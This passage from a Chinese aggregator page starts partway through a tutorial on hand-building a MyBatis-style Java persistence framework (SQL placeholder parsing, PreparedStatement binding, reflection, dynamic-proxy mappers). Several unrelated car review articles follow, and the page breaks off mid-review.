    可以看到就是創建一個DefaultSqlSeeion並將包含配置信息的configuration 傳遞下去。DefaultSqlSeeion 就是SqlSession 的一個實現類。

    創建SqlSession

    在SqlSession 中我們就要來處理各種操作了,比如selectList,selectOne,insert.update,delete 等等。
    我們這裏SqlSession 就先寫一個selectList 方法。
    如下:

    public interface SqlSession {
    
        /**
         * 條件查找
         * @param statementid  唯一標識,namespace.selectid
         * @param parm  傳參,可以不傳也可以一個,也可以多個
         * @param <E>
         * @return
         */
        public <E> List<E> selectList(String statementid,Object...parm) throws Exception;
    
    

    然後我們創建DefaultSqlSeeion 來實現SqlSeesion 。

    public class DefaultSqlSeeion implements SqlSession {
        private Configuration configuration;
    	private Executer executer=new SimpleExecuter();
    	
        public DefaultSqlSeeion(Configuration configuration) {
            this.configuration = configuration;
        }
    
    	@Override
        public <E> List<E> selectList(String statementid, Object... parm) throws Exception {
            Mapper mapper=configuration.getMapperMap().get(statementid);
            List<E> query = executer.query(configuration, mapper, parm);
            return query;
        }
    
    }
    

    我們可以看到DefaultSqlSeeion 獲取到了configuration,並通過statementid 從configuration 中獲取mapper。 然後具體實現交給了Executer 類來實現。我們這裏先不管Executer 是怎麼實現的,就假裝已經實現了。那麼整個框架端就完成了。通過調用Sqlsession.selectList() 方法,來獲取結果。

    感覺我們都還沒有處理,就框架搭建好了?騙鬼呢,確實前面我們從獲取文件解析文件,然後創建工廠。都是做好準備工作。下面開始我們JDBC的實現。

    SqlSession 具體實現

    我們前面說SqlSeesion 的具體實現有下面5步
    1、獲取數據庫連接
    2、獲取sql,並對sql 進行解析
    3、通過內省,將參數注入到preparedStatement 中
    4、執行sql
    5、通過反射將結果集封裝成對象

    但是我們在DefaultSqlSeeion 中將實現交給了Executer來執行。所以我們就要在Executer中來實現這些操作。

    我們首先來創建一個Executer 接口,並寫一個DefaultSqlSeeion中調用的query 方法。

    public interface Executer {
    
        <E> List<E> query(Configuration configuration,Mapper mapper,Object...parm) throws Exception;
    
    }
    

    接着我們寫一個SimpleExecuter 類來實現Executer 。
    然後SimpleExecuter.query()方法中,我們一步一步的實現。

    獲取數據庫連接

    因為數據庫連接信息保存在configuration,所以直接獲取就好了。

    //獲取連接
            connection=configuration.getDataSource().getConnection();
    

    獲取sql,並對sql 進行解析

    我們這裏想一下,我們在Usermapper.xml寫的sql 是什麼樣子?

    select * from user where username=#{username}
    

    {username} 這樣的sql 我們改怎麼解析呢?

    分兩步
    1、將sql 找到#{***},並將這部分替換成 ?號

    2、對 #{***} 進行解析獲取到裏面的參數對應的paramType 中的值。

    具體實現用到下面幾個類。
    GenericTokenParser類,可以看到有三個參數,開始標記,就是我們的“#{” ,結束標記就是 “}”, 標記處理器就是處理標記裏面的內容也就是username。

    public class GenericTokenParser {
    
      private final String openToken; //開始標記
      private final String closeToken; //結束標記
      private final TokenHandler handler; //標記處理器
    
      public GenericTokenParser(String openToken, String closeToken, TokenHandler handler) {
        this.openToken = openToken;
        this.closeToken = closeToken;
        this.handler = handler;
      }
    
      /**
       * 解析${}和#{}
       * @param text
       * @return
       * 該方法主要實現了配置文件、腳本等片段中佔位符的解析、處理工作,並返回最終需要的數據。
       * 其中,解析工作由該方法完成,處理工作是由處理器handler的handleToken()方法來實現
       */
      public String parse(String text) {
     	 //具體實現
     	 }
      }
    

    主要的就是parse() 方法,用來獲取操作1 的sql。獲取結果例如:

    select * from user where username=?
    

    那上面用到TokenHandler 來處理參數。
    ParameterMappingTokenHandler實現TokenHandler的類

    
    public class ParameterMappingTokenHandler implements TokenHandler {
    	private List<ParameterMapping> parameterMappings = new ArrayList<ParameterMapping>();
    
    	// context是參數名稱 #{id} #{username}
    
    	@Override
    	public String handleToken(String content) {
    		parameterMappings.add(buildParameterMapping(content));
    		return "?";
    	}
    
    	private ParameterMapping buildParameterMapping(String content) {
    		ParameterMapping parameterMapping = new ParameterMapping(content);
    		return parameterMapping;
    	}
    
    	public List<ParameterMapping> getParameterMappings() {
    		return parameterMappings;
    	}
    
    	public void setParameterMappings(List<ParameterMapping> parameterMappings) {
    		this.parameterMappings = parameterMappings;
    	}
    
    }
    
    

    可以看到將參數名稱存放 ParameterMapping 的集合中了。
    ParameterMapping 類就是一個實體,用來保存參數名稱的。

    public class ParameterMapping {
    
        private String content;
    
        public ParameterMapping(String content) {
            this.content = content;
        }
    	//getter()和setter() 方法。
    }
    

    所以我們在我們通過GenericTokenParser類,就可以獲取到解析后的sql,以及參數名稱。我們將這些信息封裝到BoundSql實體類中。

    public class BoundSql {
    
        private String sqlText;
        private List<ParameterMapping> parameterMappingList=new ArrayList<>();
        public BoundSql(String sqlText, List<ParameterMapping> parameterMappingList) {
            this.sqlText = sqlText;
            this.parameterMappingList = parameterMappingList;
        }
        ////getter()和setter() 方法。
      }
    

    好了,那麼分兩步走,先獲取,后解析
    獲取
    獲取原始sql 很簡單,sql 信息就存在mapper 對象中,直接獲取就好了。

    String sql=mapper.getSql()
    

    解析
    1、創建一個ParameterMappingTokenHandler 處理器
    2、創建一個GenericTokenParser 類,並初始化開始標記,結束標記,處理器
    3、執行genericTokenParser.parse(sql);獲取解析后的sql‘’,以及在parameterMappingTokenHandler 中存放了參數名稱的集合。
    4、將解析后的sql 和參數封裝到BoundSql 實體類中。

    /**
         * 解析自定義佔位符
         * @param sql
         * @return
         */
        private BoundSql getBoundSql(String sql){
            ParameterMappingTokenHandler parameterMappingTokenHandler = new ParameterMappingTokenHandler();
            GenericTokenParser genericTokenParser = new GenericTokenParser("#{","}",parameterMappingTokenHandler);
            String parse = genericTokenParser.parse(sql);
            return new BoundSql(parse,parameterMappingTokenHandler.getParameterMappings());
    
        }
    

    將參數注入到preparedStatement 中

    上面的就完成了sql,的解析,但是我們知道上面得到的sql 還是包含 JDBC的 佔位符,所以我們需要將參數注入到preparedStatement 中。
    1、通過boundSql.getSqlText()獲取帶有佔位符的sql.
    2、接收參數名稱集合 parameterMappingList
    3、通過mapper.getParmType() 獲取到參數的類。
    4、通過getDeclaredField(content)方法獲取到參數類的Field。
    5、通過Field.get() 從參數類中獲取對應的值
    6、注入到preparedStatement 中

    		BoundSql boundSql=getBoundSql(mapper.getSql());
            String sql=boundSql.getSqlText();
            List<ParameterMapping> parameterMappingList = boundSql.getParameterMappingList();
    
            //獲取preparedStatement,並傳遞參數值
            PreparedStatement preparedStatement=connection.prepareStatement(sql);
            Class<?> parmType = mapper.getParmType();
    
            for (int i = 0; i < parameterMappingList.size(); i++) {
                ParameterMapping parameterMapping = parameterMappingList.get(i);
                String content = parameterMapping.getContent();
                Field declaredField = parmType.getDeclaredField(content);
                declaredField.setAccessible(true);
                Object o = declaredField.get(parm[0]);
                preparedStatement.setObject(i+1,o);
            }
            System.out.println(sql);
            return preparedStatement;
    

    執行sql

    其實還是調用JDBC 的executeQuery()方法或者execute()方法

    //執行sql
     ResultSet resultSet = preparedStatement.executeQuery();
    

    通過反射將結果集封裝成對象

    在獲取到resultSet 后,我們進行封裝處理,和參數處理是類似的。
    1、創建一個ArrayList
    2、獲取返回類型的類
    3、循環從resultSet中取數據
    4、獲取屬性名和屬性值
    5、創建屬性生成器
    6、為屬性生成寫方法,並將屬性值寫入到屬性中
    7、將這條記錄添加到list 中
    8、返回list

    /**
         * 封裝結果集
         * @param mapper
         * @param resultSet
         * @param <E>
         * @return
         * @throws Exception
         */
        private <E> List<E> resultHandle(Mapper mapper,ResultSet resultSet) throws Exception{
            ArrayList<E> list=new ArrayList<>();
            //封裝結果集
            Class<?> resultType = mapper.getResultType();
            while (resultSet.next()) {
                ResultSetMetaData metaData = resultSet.getMetaData();
                Object o = resultType.newInstance();
                int columnCount = metaData.getColumnCount();
                for (int i = 1; i <= columnCount; i++) {
                    //屬性名
                    String columnName = metaData.getColumnName(i);
                    //屬性值
                    Object value = resultSet.getObject(columnName);
                    //創建屬性描述器,為屬性生成讀寫方法
                    PropertyDescriptor propertyDescriptor = new PropertyDescriptor(columnName,resultType);
                    Method writeMethod = propertyDescriptor.getWriteMethod();
                    writeMethod.invoke(o,value);
                }
                list.add((E) o);
            }
            return list;
        }
    

    創建SqlSessionFactoryBuilder

    我們現在來創建一個SqlSessionFactoryBuilder 類,來為使用端提供一個人口。

    public class SqlSessionFactoryBuilder {
    
        private Configuration configuration;
    
        public SqlSessionFactoryBuilder(){
            configuration=new Configuration();
        }
    
        public SqlSessionFactory build(InputStream in) throws DocumentException, PropertyVetoException, ClassNotFoundException {
            XmlConfigBuilder xmlConfigBuilder = new XmlConfigBuilder(configuration);
            configuration=xmlConfigBuilder.loadXmlConfig(in);
    
            SqlSessionFactory sqlSessionFactory = new DefaultSqlSessionFactory(configuration);
            return sqlSessionFactory;
        }
    }
    

    可以看到就一個build 方法,通過SqlMapConfig的文件流將信息解析到configuration,創建並返回一個sqlSessionFactory 。

    到此,整個框架端已經搭建完成了,但是我們可以看到,只實現了select 的操作,update、inster、delete 的操作我們在我後面提供的源碼中會有實現,這裏只是將整體的設計思路和流程。

    測試

    終於到了測試的環節啦。我們前面寫了自定義的持久層,我們現在來測試一下能不能正常的使用吧。
    見證奇迹的時刻到啦

    我們先引入我們自定義的框架依賴。以及數據庫和單元測試

    <dependency>
                <groupId>mysql</groupId>
                <artifactId>mysql-connector-java</artifactId>
                <version>8.0.11</version>
            </dependency>
            <dependency>
                <groupId>cn.quellanan</groupId>
                <artifactId>myself-mybatis</artifactId>
                <version>1.0.0</version>
            </dependency>
    
            <dependency>
                <groupId>junit</groupId>
                <artifactId>junit</artifactId>
                <version>4.10</version>
            </dependency>
    

    然後我們寫一個測試類
    1、獲取SqlMapperConfig.xml的文件流
    2、獲取Sqlsession
    3、執行查找操作

    @org.junit.Test
        public void test() throws Exception{
            InputStream inputStream= Resources.getResources("SqlMapperConfig.xml");
            SqlSession sqlSession = new SqlSessionFactoryBuilder().build(inputStream).openSqlSession();
            List<User> list = sqlSession.selectList("cn.quellanan.dao.UserDao.selectAll");
    
            for (User parm : list) {
                System.out.println(parm.toString());
            }
            System.out.println();
    
            User user=new User();
            user.setUsername("張三");
            List<User> list1 = sqlSession.selectList("cn.quellanan.dao.UserDao.selectByName", user);
            for (User user1 : list1) {
                System.out.println(user1);
            }
    
        }
    

    可以看到已經可以了,看來我們自定義的持久層框架生效啦。

    優化

    但是不要高興的太早哈哈,我們看上面的測試方法,是不是感覺和平時用的不一樣,每次都都寫死statementId ,這樣不太友好,所以我們接下來來點騷操作,通用mapper 配置。
    我們在SqlSession中增加一個getMapper方法,接收的參數是一個類。我們通過這個類就可以知道statementId .

    /**
         * 使用代理模式來創建接口的代理對象
         * @param mapperClass
         * @param <T>
         * @return
         */
        public <T> T getMapper(Class<T> mapperClass);
    

    具體實現就是利用JDK 的動態代理機制。
    1、通過Proxy.newProxyInstance() 獲取一個代理對象
    2、返回代理對象
    那代理對象執行了哪些操作呢?
    創建代理對象的時候,會實現一個InvocationHandler接口,重寫invoke() 方法,讓所有走這個代理的方法都會執行這個invoke() 方法。那這個方法做了什麼操作?
    這個方法就是通過傳入的類對象,獲取到對象的類名和方法名。用來生成statementid 。所以我們在mapper.xml 配置文件中的namespace 就需要制定為類路徑,以及id 為方法名。
    實現方法:

    @Override
        public <T> T getMapper(Class<T> mapperClass) {
    
            Object proxyInstance = Proxy.newProxyInstance(DefaultSqlSeeion.class.getClassLoader(), new Class[]{mapperClass}, new InvocationHandler() {
                @Override
                public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    
                    //獲取到方法名
                    String name = method.getName();
                    //類型
                    String className = method.getDeclaringClass().getName();
                    String statementid=className+"."+name;
    
                    return selectList(statementid,args);
                }
            });
    
    
            return (T) proxyInstance;
        }
    

    我們寫一個UserDao

    public interface UserDao {
        List<User> selectAll();
    
        List<User> selectByName(User user);
    }
    

    這個是不是我們熟悉的味道哈哈,就是mapper層的接口。
    然後我們在mapper.xml 中指定namespace 和id

    接下來我們在寫一個測試方法

    @org.junit.Test
        public void test2() throws Exception{
            InputStream inputStream= Resources.getResources("SqlMapperConfig.xml");
            SqlSession sqlSession = new SqlSessionFactoryBuilder().build(inputStream).openSqlSession();
    
            UserDao mapper = sqlSession.getMapper(UserDao.class);
            List<User> users = mapper.selectAll();
            for (User user1 : users) {
                System.out.println(user1);
            }
    
            User user=new User();
            user.setUsername("張三");
            List<User> users1 = mapper.selectByName(user);
            for (User user1 : users1) {
                System.out.println(user1);
            }
    
        }
    

    番外

    自定義的持久層框架,我們就寫完了。這個實際上就是mybatis 的雛形,我們通過自己手動寫一個持久層框架,然後在來看mybatis 的源碼,就會清晰很多。下面這些類名在mybatis 中都有體現。

    這裏拋磚引玉,祝君閱讀源碼愉快。
    覺得有用的兄弟們記得收藏啊。

    厚顏無恥的求波點贊!!!

    本文由博客一文多發平台 OpenWrite 發布!

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    ※想知道最厲害的網頁設計公司"嚨底家"!

    ※別再煩惱如何寫文案,掌握八大原則!

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

    ※回頭車貨運收費標準

    台中搬家公司費用怎麼算?

  • 既能穿西裝又能幹苦活的全能选手,教授試駕全新菱智M5

    既能穿西裝又能幹苦活的全能选手,教授試駕全新菱智M5

    賬面數據來看,它不會讓你有很高昂的駕駛激情,但實際駕駛過程中,也是足夠使用的。菱智M5的離合器匹配很成熟,離合踏板幅度較大,需要稍微適應一下,等離合器到位后順勢給油就能完美起步,熟練的司機可以做到毫無頓挫感。

    自2007年第一代菱智面世以來,這款MpV已經在市場上走了9年之久。親民的定價、務實的用途,使得菱智在三四線城市中備受歡迎,而在大城市的貨運車中,也常能看見它的身影。但說實在的,把菱智系列當商務用車、甚至家用車的車主屈指可少,很大原因是因為它的產品價值被死死定在了貨運上,“撐不住面子”的它,很難上檯面。

    在新款菱智M5上,我們能看到它悄悄打上了“新商務”的標籤,不僅可以貨物運輸,還能兼顧商務接待,這不禁讓對這次試駕充滿了期待,畢竟之前試駕都以乘用車為主,MpV還真的不多。

    外觀設計、空間表現如何?

    新款菱智M5的外觀設計比起舊款有了不少的提升,鷹眼似的前大燈看上去銳利無比,四條格柵呈“展翼”狀,採用鍍鉻處理。外觀的升級是值得肯定的,起碼整體的氣質變化很明顯。

    菱智M5車身尺寸為:4745*1720*1940,軸距2800。內部空間是十分夠用的,特別是第三排座椅,1米83的身高坐進去一點壓迫感都沒有,別說更寬敞的第二排了。不過有利有弊,如果第三排座椅立起的情況下,後備箱的空間就顯得不足了。

    不過如果放下後排座椅,這輛菱智M5也會很好地發揮它的貨運本能,可輕鬆放進一台電腦桌。

    開起來是什麼感覺?

    試駕的這款菱智M5,搭載的是三菱4A92發動機以及5MT變速箱,最大轉速6000轉,最大馬力122,最高扭矩153牛米。賬面數據來看,它不會讓你有很高昂的駕駛激情,但實際駕駛過程中,也是足夠使用的。

    菱智M5的離合器匹配很成熟,離合踏板幅度較大,需要稍微適應一下,等離合器到位后順勢給油就能完美起步,熟練的司機可以做到毫無頓挫感。

    試駕的時候車上載着5個成年人,並開啟着空調。油門響應比較平緩,需要稍微深踩,降檔地板油時,轉速也不會提高的很积極,所以超車能力一般,但滿載情況下,也滿足市區需求了。不過如果做商務接待的話,平穩的駕駛才是最重要的,即便是貨運的話,這個動力也完全足夠了。

    菱智M5的底盤調教功底還是有的,採用雙橫臂扭桿彈簧獨立前懸架和鋼板彈簧后懸架。這樣的懸挂設計,側重承載能力,為商用物流運輸提供了可靠的保障,而且耐用性更能從容應對山路、爛路等複雜路況。

    順帶說一句,新款菱智M5的隔音做得不錯,怠速抖動在接受範圍內,基本上只有細微的風噪和胎噪,做工用料值得肯定。

    最後總結:

    菱智系列一直以來的銷量都很穩定,今年以來一直在1萬浮動上下,這與它空間大、外觀好看、內飾美觀、底盤耐用…等等優點是分不開的。更何況菱智M5的定價僅為7.19萬~8.49萬,所以也不必用更苛刻的眼光去看待了。務實耐用,貨運和商務都兼顧,這款車已經做得足夠好了。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

    ※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

    ※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※教你寫出一流的銷售文案?

    ※別再煩惱如何寫文案,掌握八大原則!

  • 冷空氣來臨 開上這些車秋褲都不用穿就能度過寒冬

    冷空氣來臨 開上這些車秋褲都不用穿就能度過寒冬

    28-15。88萬長安CS75可謂算得上自主SUV老牌勁旅中的一員了,整體外觀很硬派卻又不失時尚,天使眼造型的大燈犀利又帥氣。內飾整體是家族式的設計,1。5T車型全系標配了自動啟停功能,還有自動駐車、無鑰匙進入/啟動、倒車影像、感應雨刷等配置一應俱全。

    又到了冷空氣入侵的時候了,你媽媽有沒有喊你穿秋褲呢,雖然南方的小夥伴還可以沐浴在溫暖的陽光中,但是北方的小夥伴們已經在激烈的雪球大戰中了,凍成狗的小學生都裹着棉被去上學了。

    擠公交地鐵上班的就稍微沒那麼難受了,起碼不會再穩到那股難聞的汗酸味,最舒服的要數開車上班的孩子了,風吹日晒雨淋完全沒關係,不過一些沒有座椅加熱的真皮座椅還是給人冰涼涼的感覺。

    廣汽乘用車-傳祺GA6

    指導價:10.28-19.68萬

    說起自主品牌中型車,傳祺GA6絕對是一款代表作,車身造型有很強的設計感,凌雲翼家族式設計元素,圓潤飽滿的大燈有着很高的辨識度;內飾的設計布局和做工有着堪比合資車的水準,配置上無鑰匙進入/啟動、自動駐車、上坡輔助、方向盤換擋等配置非常豐富。

    4850×1830×1485mm的車身尺寸,軸距2720mm,乘坐空間表現良好,儲物空間設計很人性化,隨手可及;有着阿爾法羅密歐技術調校的底盤是一大亮點,行駛品質在自主品牌車型中屬於一流水平,1.5T(最大功率152馬力)+7擋雙離合的動力組合兼顧了動力和燃油經濟性,是比較實惠的一款車型。

    一汽奔騰-奔騰B70

    指導價:9.98-14.98萬

    奔騰B70改款後設計風格上有了明顯的轉變,時尚動感的外觀視覺效果上還是相當吸引人的,熏黑的尾燈、黑色車頂、后擾流板彰顯了其運動氣息;搪塑工藝處理的中控台質感出色,中控屏波浪開口設計很個性化,黑色內飾搭配紅色縫線的設計突出了運動氛圍。

    長*寬*高為4800*1820*1472mm,軸距達到了2725mm,最具亮點的就是它使用了與馬自達6相同的動力系統和底盤,技術成熟,開起來有合資車的感覺,1.8T(最大功率186馬力)+6擋手自一體變速器的組合動力響應很积極,轉向精準,車身緊湊底盤硬朗,懸挂支撐到位,操控感覺非常棒。

    長安汽車-長安CS75

    指導價:9.28-15.88萬

    長安CS75可謂算得上自主SUV老牌勁旅中的一員了,整體外觀很硬派卻又不失時尚,天使眼造型的大燈犀利又帥氣;內飾整體是家族式的設計,1.5T車型全系標配了自動啟停功能,還有自動駐車、無鑰匙進入/啟動、倒車影像、感應雨刷等配置一應俱全。

    新推出的1.5T(最大功率170馬力)車型動力表現已經超越2.0L(最大功率158馬力)發動機的表現,低扭表現相當出色,輕鬆帶動1.6噸的車身,動力輸出的線性程度堪比自然吸氣發動機,齒比設定相對密集的6擋手動變速器使得各個擋位的動力銜接更加順暢,唯一比較遺憾的就是1.5T車型暫時沒配備自動變速器了。

    長城汽車-哈弗H2

    指導價:8.68-12.88萬

    紅藍雙標的戰略在哈弗H2看來是非常的成功的,藍標外觀更加年輕時尚化,紅標側重豪華家用,適合不同人群的需求;內飾無論是做工還是用料都給人很豪華的感覺,配置上也是越級的享受,自動頭燈、車內氛圍燈、倒車影像、定速巡航、陡坡緩降等配置在一款11萬的車型都能擁有。

    其車身尺寸為4335*1814*1695mm,顯得比較緊湊,2560mm的軸距帶來的空間感受並不會感到擁擠,大量皮革包裹的門邊觸感良好;動力上依舊是我們熟悉的1.5T(最大功率150馬力)發動機,搭配6AT/6MT,起步輕鬆,渦輪介入後勁足,整體加速較為線性。

    總結:自主車型現在無論是外觀還是內飾配置,相比於合資車都有很大的優勢,三大件方面質量也在逐步提高,尤其是哈弗品牌車型,個個都內外兼修,自主品牌已經有了非常大的提升了,值得入手。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    ※台北網頁設計公司全省服務真心推薦

    ※想知道最厲害的網頁設計公司"嚨底家"!

    ※推薦評價好的iphone維修中心

    網頁設計最專業,超強功能平台可客製化

    ※別再煩惱如何寫文案,掌握八大原則!

  • 加速7.5s+8.1L油耗,用上了1.5T發動機的本田CR-V究竟有多強?

    加速7.5s+8.1L油耗,用上了1.5T發動機的本田CR-V究竟有多強?

    而這次加入1。5T發動機,就讓CR-V在現今的緊湊型SUV中立於不敗地位,燃油經濟性以及動力都可以達到一個相當優秀的地步,外觀上的改變也是能吸引更多的年輕用戶。不過競爭對手中的馬自達CX-4以及CX-5在燃油經濟性以及性能並不輸給CRV-V,以及奇駿在空間上的優點,CR-V要想突破這番困局還是需要視乎具體售價以及具體價格,若是能維持現今2。

    編者總結:

    毫無疑問,2.0L發動機被取代是毫無疑問的,畢竟現今服役的2.0L發動機有着不短的“年頭”。而這次加入1.5T發動機,就讓CR-V在現今的緊湊型SUV中立於不敗地位,燃油經濟性以及動力都可以達到一個相當優秀的地步,外觀上的改變也是能吸引更多的年輕用戶。不過競爭對手中的馬自達CX-4以及CX-5在燃油經濟性以及性能並不輸給CRV-V,以及奇駿在空間上的優點,CR-V要想突破這番困局還是需要視乎具體售價以及具體價格,若是能維持現今2.0L的價格,相信能給對手造成不少的衝擊。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

    ※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

    南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

    ※教你寫出一流的銷售文案?

    ※超省錢租車方案

    ※回頭車貨運收費標準

  • 拉風泡妞神器 20多萬起就能圓你敞篷夢!

    拉風泡妞神器 20多萬起就能圓你敞篷夢!

    80萬其外觀犹如其名般,就是甲殼蟲的造型,外觀設計也非常可愛,圓圓的大燈,具有獨特的氣質,敞篷版甲殼蟲外形上和基本車型相比更拉風。車身比MX5還是霸氣不少,顯得更“強壯”些,復古式的輪圈設計十分扎眼,也更體現甲殼蟲其優雅端莊的形象。

    汽車並不只是代步工具,還能成為另外一種生活方式、態度。說起敞篷車,我想每個人心中都想擁有屬於自己的敞篷車。沒有什麼比駕駛着敞篷車,沐浴在蔚藍海岸暖陽下,更為令人陶醉,享受當下!有些人會覺得這種生活離自己太遙遠、讓人觸手不及。但小編覺得只要心中所想,按着心裏想法去走,努力,必定實現。

    馬自達(進口)-馬自達MX-5

    (以下簡稱:MX-5)

    平行進口價:34.5萬(手動)35.5萬(自動)

    MX5給人第一感覺,非常親切,前臉就像一大大的微笑,很討人喜歡,車燈方面,更像雪亮雙眼,有神韻,感覺這就是一部充滿活力朝氣的車子。

    車身很小巧、流暢車身線條,視覺效果動感十足。

    內飾我想大家也非常熟悉,MX-5也不例外,內飾設計也是沿用馬自達一貫風格,但值得一提,MX-5螺旋狀出風口設計,顯得戰鬥力十足。

    MX-5採用的軟頂敞篷設計,車身重量更輕。開蓬時間絕對要比上百萬級別要快!在2-3s就可以完成開蓬關蓬,夠快吧!這也完全取決你個人速度夠不夠快,因為MX-5開/關蓬是純手動開啟。

    MX-5在動力方面,搭載了2.0L自然吸氣發動機,峰值扭矩201牛米,但由於車身較輕,和上代車型相比動力更出色。傳動系統配備6擋手動和6擋自動變速箱,手動車型動力輸出更直接,而且具有挑逗性。自動變速箱反應也是特別迅速,降檔积極,開起來很活躍。無論是購買手動還是自動,MX-5都能給你很好的駕駛樂趣。

    大眾(進口)-甲殼蟲 2015款 180TSI 敞篷版

    (以下簡稱:甲殼蟲)

    指導價:28.80萬

    其外觀犹如其名般,就是甲殼蟲的造型,外觀設計也非常可愛,圓圓的大燈,具有獨特的氣質,敞篷版甲殼蟲外形上和基本車型相比更拉風。

    車身比MX5還是霸氣不少,顯得更“強壯”些,復古式的輪圈設計十分扎眼,也更體現甲殼蟲其優雅端莊的形象。

    甲殼蟲內飾與外形設計一樣,很可愛,中控台設計也很簡潔,檔次感還是蠻高的。不同顏色裝飾板的點綴,讓其更具個性化。

    甲殼蟲同樣和MX5一樣,採用了軟頂敞篷設計,但其開/關蓬時間卻要比MX5,慢了幾倍,車頂棚開啟時間為11s,而MX5,只需要2s,摺疊收起時間為9.5s,MX5隻需要2s!

    甲殼蟲可在不超過50公里車速進行開關,而MX5卻是無論在任何車速都能隨時隨地去開關蓬!現在汽車開關蓬還分快慢?!而甲殼蟲更有逼格!逼格才是最重要!

    這款甲殼蟲動力總成,搭載1.2T渦輪增壓發動機,最大功率77千瓦,峰值扭矩175牛米。或許你在想1.2T排量太小,但這你並無需擔心,因渦輪介入較早,油門初段很輕快,你甚至感覺這會是1.2T排量的車型嗎!時速在100公里以後,還是仍然感覺到較強的後勁,底盤行駛質感很紮實、從容。

    編者點評:

    當擁有足夠資金買一台敞篷車,其實更注重是其顏值與內飾是否高端大氣上檔次,而動力只是其次,開敞篷車,更多是一種情懷,另一種生活方式,可以享受比全景天窗更直接的陽光,比普通車型也更拉風。但在當今社會,敞篷車也有自身不足地方,例如空氣污染,要是天天敞開蓬駕駛,吸入的廢氣不容樂觀,有人說,戴口罩唄,那麼帶口罩開還買這車幹啥?還有就是中國的氣候,時冷時熱,敞篷駕駛,要麼冷死,要麼熱死曬死等問題,那麼當你去買一部敞篷車這些都是要去克服接納的問題,裝逼拉風可都是需要付出點代價啊。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

    ※Google地圖已可更新顯示潭子電動車充電站設置地點!!

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※別再煩惱如何寫文案,掌握八大原則!

    網頁設計最專業,超強功能平台可客製化

    ※回頭車貨運收費標準

  • 聽說是15萬最帥的選擇!教授詳解思域和CX-4

    聽說是15萬最帥的選擇!教授詳解思域和CX-4

    主觀加速感受還行,渦輪遲滯現象輕微,在國內限速的範圍內,動力輸出杠杠的夠用。地板油時會一臉懵逼地問你:“主人,要加速。”,遲滯一會兒才開始賣力加速,激烈駕駛時稱不上得心應手。CX-4: 動力輸出持續、線性,給你一種恰到好處的加速感,容易掌控,會給你持續有力、綿密的推背感。

    十代思域憑藉其強悍的動力、驚艷的外觀和強大的綜合產品力在緊湊型車市場里呼風喚雨,儼然就是不少年輕人、中年消費群體心目中的神車。加價提車、排期候車自不用說,競品車型紛紛降價促銷、改款換代提高競爭力來應對思域。

    友商們不可能眼睜睜看着本田獨攬着龐大的新消費群體,時隔兩個月,倔強的馬自達不甘示弱,推出了為年輕人而打造的轎跑SUV——CX-4,概念車般的外觀設計以及大膽的流體線條,以錯位的車型與思域短兵相接。

    下面為手拿15萬預算,躊躇于思域與CX-4之間的年輕人提供點選車建議。

    車身尺寸

    前臉設計

    思域:集未來感、科技感於一身,“X”樣式的前臉設計,粗碩的鍍鉻飾條延伸至兩邊眼角,十分提神。

    CX-4:繼續沿用家族式的魂動設計,流星眼LED大燈,低俯的車頭給人以時刻準備衝刺的感覺,魂動紅配色(2000元)更是彰顯個性的一抹艷麗。

    車身腰線

    思域:溜背的造型是外觀設計最大的亮點,尾部過渡自然,甚顯修長。

    CX-4: 最小離地間隙196mm, 有轎車低矮扁平的發動機蓋高度,亦有SUV高人一等的的氣勢,車身比例恰到好處,越看越有韻味,令人愛不釋手。

    車尾設計

    思域:大膽的迴旋鏢狀尾燈設計,尾標與時俱進地改為220Turbo,緊隨德系車以扭矩數值作為尾標銘牌的潮流。十分可惜的是雙邊共兩出的排氣管採用隱藏式設計,這是刻意為年輕人提供改裝餘地嗎?改改改!

    CX-4:貫穿兩邊車尾燈的鍍鉻飾條承托着銀色車標,恰到好處的美。2.0L車型同樣採用了雙邊兩出的排氣布局,相比其他車型要厚道。

    內飾設計

    思域:整體風格簡潔,符合大眾審美。用料看起來不錯,但實際體現一般,滿滿的塑料感,很多摸得到的地方例如擋把的邊上、車窗按鈕、內部門拉手、駕駛座大腿右側頂到的地方、A柱和B柱都是硬塑料。慶幸的是,金屬拉絲面板的運用彰顯出科技感。

    CX-4:強調簡約、清新的內飾風格,相比過去長安昂克賽拉和CX-5的整體視覺好的不是一星半點。運用了最新的懸浮式中控屏,採用不少金屬拉絲面板進行點綴,觀感和質感都得到提升。

    空間

    思域:貫徹本田MM Concept理念:乘員空間最大化、机械空間最小化理念。空間表現比大多數競品車型要優秀,尤其橫向空間,絲毫沒有緊湊型車壓迫的感覺。溜背造型並未對頭部空間造成太大影響,淺色頂棚加上較薄的前排座椅,不會覺得壓抑。

    CX-4:漂亮的流體車身線條,必然要犧牲乘坐空間,頭部空間方面受影響更大,工程師只能將座位高度盡可能調低,實際體驗只能算差強人意。後排中央地板隆起較高,且窗口面積較少、採光不理想,給乘坐人員壓迫的感覺。

    實用配置

    發動機

